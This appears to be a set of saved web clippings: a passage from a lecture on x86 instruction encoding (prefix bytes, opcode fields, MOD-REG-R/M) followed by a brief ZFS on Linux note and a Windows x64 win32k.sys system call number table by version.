       * For 16-bit and 32-bit operands, **x** bit specifies the size of the Constant following at the end of the instruction: 
         * If **x** bit contains **zero** , the Constant is the same size as the operand \(i.e., 16 or 32 bits\). 
         * If **x** bit contains **one** , the Constant is a signed 8-bit value, and the CPU sign-extends this value to the appropriate size before adding it to the operand. 
       * This little **x** trick often makes programs shorter, because adding small-value constants to 16 or 32 bit operands is very common. 
  3. The third difference between the ADD-immediate and the standard ADD instruction is the meaning of the **REG** field in the **MOD-REG-R/M** byte: 
     * Since the instruction implies that 
       * the source operand is a constant, and 
       * **MOD-R/M** fields specify the destination operand, 
the instruction does not need to use the **REG** field to specify an operand.

     * Instead, the x86 CPU uses these three bits as an **opcode extension**. 
     * For the ADD-immediate instruction the **REG** bits must contain zero. 
     * Other bit patterns would correspond to a different instruction. 

  * Note that when adding a constant to a memory location, the displacement \(if any\) immediately precedes the immediate \(constant\) value in the opcode sequence. 

* * *
###  22\. Encoding Eight, Sixteen, and Thirty-Two Bit Operands

* * *
  * When Intel designed the 8086, one bit in the opcode, **s** , selected between 8 and 16 bit integer operand sizes. 
  * Later, when CPU added 32-bit integers to its architecture on 80386 chip, there was a problem: 
    * three encodings were needed to support 8, 16, and 32 bit sizes. 
  * Solution was an _operand size prefix byte_. 

|

  * x86 ADD Opcode:  <img src='img/Temp2_2697.png' alt='x86 ADD Opcode' />

  
---|---  
  * Intel studied x86 instruction set and came to the conclusion: 
    * in a 32-bit environment, programs were more likely to use 8-bit and 32-bit operands far more often than 16-bit operands. 
  * So Intel decided to let the size bit **s** in the opcode select between 8- and 32-bit operands. 

* * *
###  23\. Encoding Sixteen Bit Operands

* * *
  * 32-bit programs don't use 16-bit operands that often, but they do need them now and then. 
  * To allow for 16-bit operands, Intel added prefix a 32-bit mode instruction with the _operand size prefix byte_ with value **66h**. 
  * This prefix byte tells the CPU to operand on 16-bit data rather than 32-bit data. 

|

  * x86 instruction format:  <img src='img/Temp2_2711.png' alt='instruction format' />

  
---|---  
  * There is nothing programmer has to do explicitly to put an operand size prefix byte in front of a 16-bit instruction: 
    * the assembler does this automatically as soon as 16-bit operand is found in the instruction. 
  * However, keep in mind that whenever you use a 16-bit operand in a 32-bit program, the instruction is longer by one byte: 
[code]         Opcode     Instruction

        --------   ------------
        41h        INC ECX
        66h 41h    INC CX
    
[/code]

  * Be careful about using 16-bit instructions if size \(and to a lesser extent, speed\) are important, because 
    1. instructions are longer, and 
    2. slower because of their effect on the instruction cache. 

* * *
###  24\. x86 Instruction Prefix Bytes

* * *
  * x86 instruction can have up to 4 prefixes. 
  * Each prefix adjusts interpretation of the opcode: 
    1. **Repeat/lock** prefix byte guarantees that instruction will have exclusive use of all shared memory, until the instruction completes execution: 
[code]                 F0h = LOCK

        
[/code]

* * *
    2. **String manipulation** instruction prefixes 
[code]                 F3h = REP, REPE

                F2h = REPNE
        
[/code]

where

       * REP repeats instruction the number of times specified by _iteration count_ ECX. 
       * REPE and REPNE prefixes allow to terminate loop on the value of **ZF** CPU flag. 
Related string manipulation instructions are:

       * MOVS, move string 
       * STOS, store string 
       * SCAS, scan string 
       * CMPS, compare string, etc. 
See also string manipulation sample program: `rep_movsb.asm`

* * *
    3. **Segment override** prefix causes memory access to use _specified segment_ instead of _default segment_ designated for instruction operand. 
[code]                 2Eh = CS

                36h = SS
                3Eh = DS
                26h = ES
                64h = FS
                65h = GS
        
[/code]

* * *
    4. **Operand override** , **66h**. Changes size of data expected by default mode of the instruction e.g. 16-bit to 32-bit and vice versa. 
* * *
    5. **Address override** , **67h**. Changes size of address expected by the instruction. 32-bit address could switch to 16-bit and vice versa. 

* * *
###  25\. Alternate Encodings for Instructions

* * *
  * To shorten program code, Intel created alternate \(shorter\) encodings of some very commonly used instructions. 
  * For example, x86 provides a single byte opcode for 
[code]         add al, constant    ; one-byte opcode and no MOD-REG-R/M byte

        add eax, constant   ; one-byte opcode and no MOD-REG-R/M byte
    
[/code]

the opcodes are **04h** and **05h** , respectively. Also,

  * These instructions are one byte shorter than their standard ADD immediate counterparts. 
  * Note that 
[code]         add ax, constant   ; operand size prefix byte + one-byte
opcode, no MOD-REG-R/M byte

    
[/code]

requires an operand size prefix just as a standard ADD **AX** , **constant**
instruction, yet is still one byte shorter than the corresponding standard
version of ADD immediate.

  * Any decent assembler will _automatically_ choose the shortest possible instruction when translating program into machine code. 
  * Intel only provides alternate encodings only for the accumulator registers **AL** , **AX** , **EAX**. 
  * This is a good reason to use accumulator registers if you have a choice 
    * \(also a good reason to take some time and study encodings of the x86 instructions.\) 

* * *
###  26\. x86 Opcode Summary

* * *
  * x86 opcodes are represented by one or two bytes. 
  * Opcode could extend into unused bits of **MOD-REG-R/M** byte. 
  * Opcode encodes information about 
    * operation type, 
    * operands, 
    * size of each operand, including the size of an immediate operand. 

* * *
###  27\. MOD-REG-R/M Byte Summary

* * *
  * **MOD-REG-R/M** byte follows one or two opcode bytes of the instruction
  * It provides _addressing mode_ information for one or two operands. 

|

  * MOD-REG-R/M Byte:  <img src='img/Temp2_2713.png' alt='MOD-REG-R/M Byte' />

  
---|---  
  * If operand is in memory, or operand is a register: 
    * **MOD** field \(bits \[7:6\]\), combined with the **R/M** field \(bits \[2:0\]\), specify memory/register operand, as well as its _addressing mode_. 
    * **REG** field \(bits \[5:3\]\) specifies another register operand in of the two-operand instruction. 

* * *
###  28\. ISA Design Considerations

* * *
  * Instruction set architecture design that can stand the test of time is a true intellectual challenge. 
  * It takes several compromises between space and efficiency to assign opcodes and encode instruction formats. 
  * Today people are using Intel x86 instruction set for purposes never intended by original designers. 
  * Extending the CPU is a very difficult task. 
  * The instruction set can become _extremely complex_. 
  * If x86 CPU was designed _from scratch_ today, it would have a totally different ISA\! 
  * Software developers usually don't have a problem adapting to a new architecture when writing new software... 
    * ...but they are very resistant to moving existing software from one platform to another. 
  * This is the primary reason the Intel x86 platform remains so popular to this day. 

* * *
###  29\. ISA Design Challenges

* * *
  * Allowing for future expansion of the chip requires some _undefined opcodes_. 
  * From the beginning there should be a balance between the number of undefined opcodes and 
    1. the number of initial instructions, and 
    2. the size of your opcodes \(including special assignments.\) 
  * Hard decisions: 
    * Reduce the number of instructions in the initial instruction set? 
    * Increase the size of the opcode? 
    * Rely on an opcode prefix byte\(s\), which makes later added instructions longer? 
  * There are no easy answers to these challenges for CPU designers\! 

* * *
###  30\. Intel Architecture Software Developer's Manual

* * *
  * Classic Intel Pentium II Architecture Software Developer's Manual contains three parts: 
    1. Volume 1
, _Intel Basic Architecture_ :

Order Number 243190

, PDF, 2.6 MB.

    2. Volume 2
, _Instruction Set Reference_ :

Order Number 243191

, PDF, 6.6 MB.

    3. Volume 3
, _System Programing Guide_ :

Order Number 243192

, PDF, 5.1 MB.

  * It is highly recommended that you download the above manuals and use them as a reference. 

* * *
###  31\. Intel Instruction Set Reference \(Volume2\)

* * *
  * **Chapter 3** of the 
Instruction Set Reference

describes

    * each Intel instruction in detail 
    * algorithmic description of each operation 
    * effect on flags 
    * operand\(s\), their sizes and attributes 
    * CPU exceptions that may be generated. 
  * The instructions are arranged in alphabetical order. 
  * **Appendix A** provides _opcode map_ for the entire Intel Architecture instruction set. 

* * *
###  32\. Chapter 3 of Intel Instruction Set Reference

* * *
  * **Chapter 3** begins with instruction format example and explains the **Opcode** column encoding. 
  * The **Opcode** column gives the _complete machine codes_ as it is understood by the CPU. 
  * When possible, the actual _machine code bytes_ are given as exact hexadecimal bytes, in the same order in which they appear in memory. 
  * However, there are opcode definitions other than hexadecimal bytes... 

* * *
###  33\. Intel Reference Opcode Bytes

* * *
  * Fow example, 
<img src='img/Temp2_2694.png' alt='INC instruction reference page' />

* * *
###  34\. Intel Reference Opcode Bytes, Cont.

* * *
  * `/digit` \- A digit between 0 and 7 indicates that 
    * The **reg** field of **Mod R/M** byte contains the instruction opcode extension. 
    * The **r/m** \(register or memory\) operand of **Mod R/M** byte indicates 
[code]         R/M Addressing Mode

        === ===========================
        000 register ( al / ax / eax )
        001 register ( cl / cx / ecx )
        010 register ( dl / dx / edx )
        011 register ( bl / bx / ebx )
        100 register ( ah / sp / esp )
        101 register ( ch / bp / ebp )
        110 register ( dh / si / esi )
        111 register ( bh / di / edi )
    
[/code]

  * The size bit in the opcode specifies 8 or 32-bit register size. 
  * A 16-bit register requires a prefix byte: 
[code]         Opcode     Instruction

        --------   ------------
        41h        INC ECX
        66h 41h    INC CX
    
[/code]

* * *
###  35\. Intel Reference Opcode Bytes, Cont.

* * *
  * `/r` \- Indicates that the instruction uses the **Mod R/M** byte of the instruction. 
  * **Mod R/M** byte contains both 
    * a register operand **reg** and 
    * an **r/m** \(register or memory\) operand. 

* * *
###  36\. Intel Reference Opcode Bytes, Cont.

* * *
  * `cb, cw, cd, cp` \- A 1-byte \(cb\), 2-byte \(cw\), 4-byte \(cd\), or 6-byte \(cp\) value,   
following the opcode, is used to specify

    * a _code offset_ , 
    * and possibly a new value for the code segment register CS. 

* * *
###  37\. Intel Reference Opcode Bytes, Cont.

* * *
  * `ib, iw, id` \- A 1-byte \(ib\), 2-byte \(iw\), or 4-byte \(id\) indicates presence of the **immediate operand** in the instruction. 
  * Typical order of opcode bytes is 
    * **opcode**
    * **Mod R/M** byte \(optional\) 
    * **SIB** scale-indexing byte \(optional\) 
    * **immediate operand**. 
  * The opcode determines if the operand is a signed value. 
  * All words and doublewords are given with the low-order byte first \(little endian\). 

* * *
###  38\. Intel Reference Opcode Bytes, Cont.

* * *
  * `+rb, +rw, +rd` \- A register code, from 0 through 7, added to the hexadecimal byte given at the left of the plus sign to form a single opcode byte. 
  * Register Encodings Associated with the **+rb** , **+rw** , and **+rd** : 
<img src='img/Temp2_2699.png' alt='Register Encodings Associated with the +rb,
+rw, and +rd' />

For example,

<img src='img/Temp2_2694.png' alt='INC instruction reference page' />

* * *
###  39\. Intel Reference Instruction Column

* * *
  * The **Instruction** column gives the syntax of the instruction statement as it would appear in a 386 Assembly program. 
  * For example, 
<img src='img/Temp2_2694.png' alt='INC instruction reference page' />

* * *

# ZFS on Linux

**Created:**| _2/15/2011 7:57:45 AM_  
---|---  
**Updated:**| _2/15/2011 7:58:16 AM_  
**Author:**| __  
**Tags:**| _Lab-Setup Filesystem zfs_  
  
<img src='img/Temp2_10001.png' /> Native ZFS for Linux has been sanity tested
using the ztest, zconfig, and zpios regression tests on the following
platforms. While the packages build on all these platforms the x86 platform is
not as well tested and you may encounter issues. We  _strongly_ suggest you
stick with a x86\_64 based platform for now.  
---

# Windows x86-64 WIN32K.SYS System Call Table \(NT/2000/XP/2003/Vista/2008/7\)

**Created:**| _5/29/2011 8:50:50 PM_  
---|---  
**Updated:**| _5/29/2011 8:51:06 PM_  
**Author:**| __  
**Tags:**| _asm windows environment_  
  

# Windows x86-64 WIN32K.SYS System Call Table \(NT/2000/XP/2003/Vista/2008/7\)

**Author: j00ru \(j00ru.vx tech blog\)**  
**TeamVexillium**

Special thanks to: Woodmann, Deus, Gynvael Coldwind, MeMek, Alex, Omega Red

Layout by Metasploit Team

  
Enter the Syscall ID to highlight \(hex\):  
  
  
---  
  
System Call Symbol | Windows XP | Windows 2003 Server | Windows Vista | Windows 2008 Server | Windows 7  
---|---|---|---|---|---  
DxgStubAlphaBlt |  |  |  0x1301  |  0x1277  |  0x1277   
EngDeletePalette |  0x1198  |  0x1198  |  |  |   
EngRestoreFloatingPointState |  0x121c  |  0x121c  |  0x126b  |  0x1278  |  0x1278   
GreSetFontEnumeration |  0x111e  |  0x111e  |  |  |   
NtGdiAbortDoc |  0x1127  |  0x1127  |  0x1128  |  0x111f  |  0x111f   
NtGdiAbortPath |  0x1128  |  0x1128  |  0x1129  |  0x1120  |  0x1120   
NtGdiAddEmbFontToDC |  0x1129  |  0x1129  |  0x112a  |  0x1121  |  0x1121   
NtGdiAddFontMemResourceEx |  0x1116  |  0x1116  |  0x1117  |  0x1110  |  0x1110   
NtGdiAddFontResourceW |  0x112a  |  0x112a  |  0x112b  |  0x1122  |  0x1122   
NtGdiAddRemoteFontToDC |  0x112b  |  0x112b  |  0x112c  |  0x1123  |  0x1123   
NtGdiAddRemoteMMInstanceToDC |  0x112c  |  0x112c  |  0x112d  |  0x1124  |  0x1124   
NtGdiAlphaBlend |  0x107d  |  0x107d  |  0x107e  |  0x107c  |  0x107c   
NtGdiAngleArc |  0x112d  |  0x112d  |  0x112e  |  0x1125  |  0x1125   
NtGdiAnyLinkedFonts |  0x112e  |  0x112e  |  0x112f  |  0x1126  |  0x1126   
NtGdiArcInternal |  0x112f  |  0x112f  |  0x1130  |  0x1127  |  0x1127   
NtGdiBRUSHOBJ\_DeleteRbrush |  0x1130  |  0x1130  |  0x1131  |  0x1128  |  0x1128   
NtGdiBRUSHOBJ\_hGetColorTransform |  0x1131  |  0x1131  |  0x1132  |  0x1129  |  0x1129   
NtGdiBRUSHOBJ\_pvAllocRbrush |  0x1132  |  0x1132  |  0x1133  |  0x112a  |  0x112a   
NtGdiBRUSHOBJ\_pvGetRbrush |  0x1133  |  0x1133  |  0x1134  |  0x112b  |  0x112b   
NtGdiBRUSHOBJ\_ulGetBrushColor |  0x1134  |  0x1134  |  0x1135  |  0x112c  |  0x112c   
NtGdiBeginGdiRendering |  |  |  |  0x112d  |  0x112d   
NtGdiBeginPath |  0x110f  |  0x110f  |  0x1110  |  0x1109  |  0x1109   
NtGdiBitBlt |  0x1008  |  0x1008  |  0x1008  |  0x1008  |  0x1008   
NtGdiCLIPOBJ\_bEnum |  0x1135  |  0x1135  |  0x1136  |  0x112e  |  0x112e   
NtGdiCLIPOBJ\_cEnumStart |  0x1136  |  0x1136  |  0x1137  |  0x112f  |  0x112f   
NtGdiCLIPOBJ\_ppoGetPath |  0x1137  |  0x1137  |  0x1138  |  0x1130  |  0x1130   
NtGdiCancelDC |  0x1138  |  0x1138  |  0x1139  |  0x1131  |  0x1131   
NtGdiChangeGhostFont |  0x1139  |  0x1139  |  0x113a  |  0x1132  |  0x1132   
NtGdiCheckBitmapBits |  0x113a  |  0x113a  |  0x113b  |  0x1133  |  0x1133   
NtGdiClearBitmapAttributes |  0x113b  |  0x113b  |  0x113c  |  0x1134  |  0x1134   
NtGdiClearBrushAttributes |  0x113c  |  0x113c  |  0x113d  |  0x1135  |  0x1135   
NtGdiCloseFigure |  0x1105  |  0x1105  |  0x1106  |  0x1100  |  0x1100   
NtGdiColorCorrectPalette |  0x113d  |  0x113d  |  0x113e  |  0x1136  |  0x1136   
NtGdiCombineRgn |  0x1033  |  0x1033  |  0x1034  |  0x1034  |  0x1034   
NtGdiCombineTransform |  0x10f4  |  0x10f4  |  0x10f5  |  0x10f0  |  0x10f0   
NtGdiComputeXformCoefficients |  0x108c  |  0x108c  |  0x108d  |  0x108b  |  0x108b   
NtGdiConfigureOPMProtectedOutput |  |  |  0x113f  |  0x1137  |  0x1137   
NtGdiConsoleTextOut |  0x106d  |  0x106d  |  0x106e  |  |   
NtGdiConvertMetafileRect |  0x113e  |  0x113e  |  0x1140  |  0x1138  |  0x1138   
NtGdiCreateBitmap |  0x106c  |  0x106c  |  0x106d  |  0x106d  |  0x106d   
NtGdiCreateBitmapFromDxSurface |  |  |  |  0x1139  |  0x1139   
NtGdiCreateClientObj |  0x10be  |  0x10be  |  0x10bf  |  0x10ba  |  0x10ba   
NtGdiCreateColorSpace |  0x1124  |  0x1124  |  0x1125  |  0x111c  |  0x111c   
NtGdiCreateColorTransform |  0x113f  |  0x113f  |  0x1141  |  0x113a  |  0x113a   
NtGdiCreateCompatibleBitmap |  0x104a  |  0x104a  |  0x104b  |  0x104b  |  0x104b   
NtGdiCreateCompatibleDC |  0x1054  |  0x1054  |  0x1055  |  0x1055  |  0x1055   
NtGdiCreateDIBBrush |  0x1075  |  0x1075  |  0x1076  |  0x1074  |  0x1074   
NtGdiCreateDIBSection |  0x109b  |  0x109b  |  0x109c  |  0x109a  |  0x109a   
NtGdiCreateDIBitmapInternal |  0x10a0  |  0x10a0  |  0x10a1  |  0x109f  |  0x109f   
NtGdiCreateEllipticRgn |  0x1140  |  0x1140  |  0x1142  |  0x113b  |  0x113b   
NtGdiCreateHalftonePalette |  0x10f1  |  0x10f1  |  0x10f2  |  0x10ed  |  0x10ed   
NtGdiCreateHatchBrushInternal |  0x1141  |  0x1141  |  0x1143  |  0x113c  |  0x113c   
NtGdiCreateMetafileDC |  0x1142  |  0x1142  |  0x1144  |  0x113d  |  0x113d   
NtGdiCreateOPMProtectedOutputs |  |  |  0x1145  |  0x113e  |  0x113e   
NtGdiCreatePaletteInternal |  0x10b0  |  0x10b0  |  0x10b1  |  0x10ac  |  0x10ac   
NtGdiCreatePatternBrushInternal |  0x10b5  |  0x10b5  |  0x10b6  |  0x10b1  |  0x10b1   
NtGdiCreatePen |  0x1056  |  0x1056  |  0x1057  |  0x1057  |  0x1057   
NtGdiCreateRectRgn |  0x1085  |  0x1085  |  0x1086  |  0x1084  |  0x1084   
NtGdiCreateRoundRectRgn |  0x1143  |  0x1143  |  0x1146  |  0x113f  |  0x113f   
NtGdiCreateServerMetaFile |  0x1144  |  0x1144  |  0x1147  |  0x1140  |  0x1140   
NtGdiCreateSolidBrush |  0x10bc  |  0x10bc  |  0x10bd  |  0x10b8  |  0x10b8   
NtGdiD3dContextCreate |  0x1145  |  0x1145  |  0x1148  |  0x1141  |  0x1141   
NtGdiD3dContextDestroy |  0x1146  |  0x1146  |  0x1149  |  0x1142  |  0x1142   
NtGdiD3dContextDestroyAll |  0x1147  |  0x1147  |  0x114a  |  0x1143  |  0x1143   
NtGdiD3dDrawPrimitives2 |  0x1064  |  0x1064  |  0x1065  |  0x1065  |  0x1065   
NtGdiD3dValidateTextureStageState |  0x1148  |  0x1148  |  0x114b  |  0x1144  |  0x1144   
NtGdiDDCCIGetCapabilitiesString |  |  |  0x114c  |  0x1145  |  0x1145   
NtGdiDDCCIGetCapabilitiesStringLength |  |  |  0x114d  |  0x1146  |  0x1146   
NtGdiDDCCIGetTimingReport |  |  |  0x114e  |  0x1147  |  0x1147   
NtGdiDDCCIGetVCPFeature |  |  |  0x114f  |  0x1148  |  0x1148   
NtGdiDDCCISaveCurrentSettings |  |  |  0x1150  |  0x1149  |  0x1149   
NtGdiDDCCISetVCPFeature |  |  |  0x1151  |  0x114a  |  0x114a   
NtGdiDdAddAttachedSurface |  0x1149  |  0x1149  |  0x1152  |  0x114b  |  0x114b   
NtGdiDdAlphaBlt |  0x114a  |  0x114a  |  0x1153  |  0x114c  |  0x114c   
NtGdiDdAttachSurface |  0x114b  |  0x114b  |  0x1154  |  0x114d  |  0x114d   
NtGdiDdBeginMoCompFrame |  0x114c  |  0x114c  |  0x1155  |  0x114e  |  0x114e   
NtGdiDdBlt |  0x107e  |  0x107e  |  0x107f  |  0x107d  |  0x107d   
NtGdiDdCanCreateD3DBuffer |  0x114d  |  0x114d  |  0x1156  |  0x114f  |  0x114f   
NtGdiDdCanCreateSurface |  0x10a6  |  0x10a6  |  0x10a7  |  0x10a2  |  0x10a2   
NtGdiDdColorControl |  0x114e  |  0x114e  |  0x1157  |  0x1150  |  0x1150   
NtGdiDdCreateD3DBuffer |  0x114f  |  0x114f  |  0x1158  |  0x1151  |  0x1151   
NtGdiDdCreateDirectDrawObject |  0x1150  |  0x1150  |  0x1159  |  0x1152  |  0x1152   
NtGdiDdCreateFullscreenSprite |  |  |  |  0x1153  |  0x1153   
NtGdiDdCreateMoComp |  0x1151  |  0x1151  |  0x115a  |  0x1154  |  0x1154   
NtGdiDdCreateSurface |  0x10a7  |  0x10a7  |  0x10a8  |  0x10a3  |  0x10a3   
NtGdiDdCreateSurfaceEx |  0x10c6  |  0x10c6  |  0x10c7  |  0x10c2  |  0x10c2   
NtGdiDdCreateSurfaceObject |  0x10c7  |  0x10c7  |  0x10c8  |  0x10c3  |  0x10c3   
NtGdiDdDDIAcquireKeyedMutex |  |  |  |  0x1155  |  0x1155   
NtGdiDdDDICheckExclusiveOwnership |  |  |  0x115b  |  0x1156  |  0x1156   
NtGdiDdDDICheckMonitorPowerState |  |  |  0x115c  |  0x1157  |  0x1157   
NtGdiDdDDICheckOcclusion |  |  |  0x115d  |  0x1158  |  0x1158   
NtGdiDdDDICheckSharedResourceAccess |  |  |  |  0x1159  |  0x1159   
NtGdiDdDDICheckVidPnExclusiveOwnership |  |  |  |  0x115a  |  0x115a   
NtGdiDdDDICloseAdapter |  |  |  0x115e  |  0x115b  |  0x115b   
NtGdiDdDDIConfigureSharedResource |  |  |  |  0x115c  |  0x115c   
NtGdiDdDDICreateAllocation |  |  |  0x115f  |  0x115d  |  0x115d   
NtGdiDdDDICreateContext |  |  |  0x1160  |  0x115e  |  0x115e   
NtGdiDdDDICreateDCFromMemory |  |  |  0x1161  |  0x115f  |  0x115f   
NtGdiDdDDICreateDevice |  |  |  0x1162  |  0x1160  |  0x1160   
NtGdiDdDDICreateKeyedMutex |  |  |  |  0x1161  |  0x1161   
NtGdiDdDDICreateOverlay |  |  |  0x1163  |  0x1162  |  0x1162   
NtGdiDdDDICreateSynchronizationObject |  |  |  0x1164  |  0x1163  |  0x1163   
NtGdiDdDDIDestroyAllocation |  |  |  0x1165  |  0x1164  |  0x1164   
NtGdiDdDDIDestroyContext |  |  |  0x1166  |  0x1165  |  0x1165   
NtGdiDdDDIDestroyDCFromMemory |  |  |  0x1167  |  0x1166  |  0x1166   
NtGdiDdDDIDestroyDevice |  |  |  0x1168  |  0x1167  |  0x1167   
NtGdiDdDDIDestroyKeyedMutex |  |  |  |  0x1168  |  0x1168   
NtGdiDdDDIDestroyOverlay |  |  |  0x1169  |  0x1169  |  0x1169   
NtGdiDdDDIDestroySynchronizationObject |  |  |  0x116a  |  0x116a  |  0x116a   
NtGdiDdDDIEscape |  |  |  0x116b  |  0x116b  |  0x116b   
NtGdiDdDDIFlipOverlay |  |  |  0x116c  |  0x116c  |  0x116c   
NtGdiDdDDIGetContextSchedulingPriority |  |  |  0x116d  |  0x116d  |  0x116d   
NtGdiDdDDIGetDeviceState |  |  |  0x116e  |  0x116e  |  0x116e   
NtGdiDdDDIGetDisplayModeList |  |  |  0x116f  |  0x116f  |  0x116f   
NtGdiDdDDIGetMultisampleMethodList |  |  |  0x1170  |  0x1170  |  0x1170   
NtGdiDdDDIGetOverlayState |  |  |  |  0x1171  |  0x1171   
NtGdiDdDDIGetPresentHistory |  |  |  0x1171  |  0x1172  |  0x1172   
NtGdiDdDDIGetPresentQueueEvent |  |  |  |  0x1173  |  0x1173   
NtGdiDdDDIGetProcessSchedulingPriorityClass |  |  |  0x1172  |  0x1174  |  0x1174   
NtGdiDdDDIGetRuntimeData |  |  |  0x1173  |  0x1175  |  0x1175   
NtGdiDdDDIGetScanLine |  |  |  0x1174  |  0x1176  |  0x1176   
NtGdiDdDDIGetSharedPrimaryHandle |  |  |  0x1175  |  0x1177  |  0x1177   
NtGdiDdDDIInvalidateActiveVidPn |  |  |  0x1176  |  0x1178  |  0x1178   
NtGdiDdDDILock |  |  |  0x1177  |  0x1179  |  0x1179   
NtGdiDdDDIOpenAdapterFromDeviceName |  |  |  0x1178  |  0x117a  |  0x117a   
NtGdiDdDDIOpenAdapterFromHdc |  |  |  0x1179  |  0x117b  |  0x117b   
NtGdiDdDDIOpenKeyedMutex |  |  |  |  0x117c  |  0x117c   
NtGdiDdDDIOpenResource |  |  |  0x117a  |  0x117d  |  0x117d   
NtGdiDdDDIOpenSynchronizationObject |  |  |  |  0x117e  |  0x117e   
NtGdiDdDDIPollDisplayChildren |  |  |  0x117b  |  0x117f  |  0x117f   
NtGdiDdDDIPresent |  |  |  0x117c  |  0x1180  |  0x1180   
NtGdiDdDDIQueryAdapterInfo |  |  |  0x117d  |  0x1181  |  0x1181   
NtGdiDdDDIQueryAllocationResidency |  |  |  0x117e  |  0x1182  |  0x1182   
NtGdiDdDDIQueryResourceInfo |  |  |  0x117f  |  0x1183  |  0x1183   
NtGdiDdDDIQueryStatistics |  |  |  0x1180  |  0x1184  |  0x1184   
NtGdiDdDDIReleaseKeyedMutex |  |  |  |  0x1185  |  0x1185   
NtGdiDdDDIReleaseProcessVidPnSourceOwners |  |  |  0x1181  |  0x1186  |  0x1186   
NtGdiDdDDIRender |  |  |  0x1182  |  0x1187  |  0x1187   
NtGdiDdDDISetAllocationPriority |  |  |  0x1183  |  0x1188  |  0x1188   
NtGdiDdDDISetContextSchedulingPriority |  |  |  0x1184  |  0x1189  |  0x1189   
NtGdiDdDDISetDisplayMode |  |  |  0x1185  |  0x118a  |  0x118a   
NtGdiDdDDISetDisplayPrivateDriverFormat |  |  |  0x1186  |  0x118b  |  0x118b   
NtGdiDdDDISetGammaRamp |  |  |  0x1187  |  0x118c  |  0x118c   
NtGdiDdDDISetProcessSchedulingPriorityClass |  |  |  0x1188  |  0x118d  |  0x118d   
NtGdiDdDDISetQueuedLimit |  |  |  0x1189  |  0x118e  |  0x118e   
NtGdiDdDDISetVidPnSourceOwner |  |  |  0x118a  |  0x118f  |  0x118f   
NtGdiDdDDISharedPrimaryLockNotification |  |  |  0x118b  |  0x1190  |  0x1190   
NtGdiDdDDISharedPrimaryUnLockNotification |  |  |  0x118c  |  0x1191  |  0x1191   
NtGdiDdDDISignalSynchronizationObject |  |  |  0x118d  |  0x1192  |  0x1192   
NtGdiDdDDIUnlock |  |  |  0x118e  |  0x1193  |  0x1193   
NtGdiDdDDIUpdateOverlay |  |  |  0x118f  |  0x1194  |  0x1194   
NtGdiDdDDIWaitForIdle |  |  |  0x1190  |  0x1195  |  0x1195   
NtGdiDdDDIWaitForSynchronizationObject |  |  |  0x1191  |  0x1196  |  0x1196   
NtGdiDdDDIWaitForVerticalBlankEvent |  |  |  0x1192  |  0x1197  |  0x1197   
NtGdiDdDeleteDirectDrawObject |  0x1152  |  0x1152  |  0x1193  |  0x1198  |  0x1198   
NtGdiDdDeleteSurfaceObject |  0x10a2  |  0x10a2  |  0x10a3  |  0x10a1  |  0x10a1   
NtGdiDdDestroyD3DBuffer |  0x1153  |  0x1153  |  0x1194  |  0x1199  |  0x1199   
NtGdiDdDestroyFullscreenSprite |  |  |  |  0x119a  |  0x119a   
NtGdiDdDestroyMoComp |  0x1154  |  0x1154  |  0x1195  |  0x119b  |  0x119b   
NtGdiDdDestroySurface |  0x10a9  |  0x10a9  |  0x10aa  |  0x10a5  |  0x10a5   
NtGdiDdEndMoCompFrame |  0x1155  |  0x1155  |  0x1196  |  0x119c  |  0x119c   
NtGdiDdFlip |  0x1156  |  0x1156  |  0x1197  |  0x119d  |  0x119d   
NtGdiDdFlipToGDISurface |  0x1157  |  0x1157  |  0x1198  |  0x119e  |  0x119e   
NtGdiDdGetAvailDriverMemory |  0x1158  |  0x1158  |  0x1199  |  0x119f  |  0x119f   
NtGdiDdGetBltStatus |  0x1159  |  0x1159  |  0x119a  |  0x11a0  |  0x11a0   
NtGdiDdGetDC |  0x115a  |  0x115a  |  0x119b  |  0x11a1  |  0x11a1   
NtGdiDdGetDriverInfo |  0x115b  |  0x115b  |  0x119c  |  0x11a2  |  0x11a2   
NtGdiDdGetDriverState |  0x115c  |  0x115c  |  0x119d  |  0x11a3  |  0x11a3   
NtGdiDdGetDxHandle |  0x115d  |  0x115d  |  0x119e  |  0x11a4  |  0x11a4   
NtGdiDdGetFlipStatus |  0x115e  |  0x115e  |  0x119f  |  0x11a5  |  0x11a5   
NtGdiDdGetInternalMoCompInfo |  0x115f  |  0x115f  |  0x11a0  |  0x11a6  |  0x11a6   
NtGdiDdGetMoCompBuffInfo |  0x1160  |  0x1160  |  0x11a1  |  0x11a7  |  0x11a7   
NtGdiDdGetMoCompFormats |  0x1161  |  0x1161  |  0x11a2  |  0x11a8  |  0x11a8   
NtGdiDdGetMoCompGuids |  0x1162  |  0x1162  |  0x11a3  |  0x11a9  |  0x11a9   
NtGdiDdGetScanLine |  0x1163  |  0x1163  |  0x11a4  |  0x11aa  |  0x11aa   
NtGdiDdLock |  0x1164  |  0x1164  |  0x11a5  |  0x11ab  |  0x11ab   
NtGdiDdLockD3D |  0x10c9  |  0x10c9  |  0x10ca  |  0x10c5  |  0x10c5   
NtGdiDdNotifyFullscreenSpriteUpdate |  |  |  |  0x11ac  |  0x11ac   
NtGdiDdQueryDirectDrawObject |  0x1165  |  0x1165  |  0x11a6  |  0x11ad  |  0x11ad   
NtGdiDdQueryMoCompStatus |  0x1166  |  0x1166  |  0x11a7  |  0x11ae  |  0x11ae   
NtGdiDdQueryVisRgnUniqueness |  |  |  |  0x11af  |  0x11af   
NtGdiDdReenableDirectDrawObject |  0x1167  |  0x1167  |  0x11a8  |  0x11b0  |  0x11b0   
NtGdiDdReleaseDC |  0x1168  |  0x1168  |  0x11a9  |  0x11b1  |  0x11b1   
NtGdiDdRenderMoComp |  0x1169  |  0x1169  |  0x11aa  |  0x11b2  |  0x11b2   
NtGdiDdResetVisrgn |  0x10ae  |  0x10ae  |  0x10af  |  0x10aa  |  0x10aa   
NtGdiDdSetColorKey |  0x116a  |  0x116a  |  0x11ab  |  0x11b3  |  0x11b3   
NtGdiDdSetExclusiveMode |  0x116b  |  0x116b  |  0x11ac  |  0x11b4  |  0x11b4   
NtGdiDdSetGammaRamp |  0x116c  |  0x116c  |  0x11ad  |  0x11b5  |  0x11b5   
NtGdiDdSetOverlayPosition |  0x116d  |  0x116d  |  0x11ae  |  0x11b6  |  0x11b6   
NtGdiDdUnattachSurface |  0x116e  |  0x116e  |  0x11af  |  0x11b7  |  0x11b7   
NtGdiDdUnlock |  0x116f  |  0x116f  |  0x11b0  |  0x11b8  |  0x11b8   
NtGdiDdUnlockD3D |  0x10ca  |  0x10ca  |  0x10cb  |  0x10c6  |  0x10c6   
